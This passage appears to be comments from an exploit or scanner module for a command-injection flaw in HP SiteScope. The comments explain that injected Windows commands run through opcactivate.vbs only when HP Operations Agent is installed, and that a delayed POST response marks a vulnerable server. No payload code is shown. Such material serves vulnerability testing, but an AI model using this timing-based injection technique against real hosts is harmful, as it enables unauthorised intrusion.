# 2) and the Windows command(s) we injected
#
# The remote server does not return an HTTP response until these programs return.
# On a host with HP Operations Agent installed, if the "OpenView Ctrl Service" is not started,
# the opactivate.vbs script will try to start the service, this can take some time (seen > 30 seconds)
#
# The run time for opcactivate.vbs may not be deterministic.
# Here we set a reasonably long timeout so that we can get a response

# It seems the affected version is vulnerable only if HP Operations Agent is installed.
# The Agent installation is part of HP SiteScope installation, and by default is not installed.
#
# When the Agent is not installed, C:\Program Files\HP\HP BTO Software\bin\OpC\install\opactivate.vbs is not present,
# and our injected command is not run. In this case, the response time for the POST request is significantly faster.
#
# The vulnerable server will take at least <delay> seconds to respond.
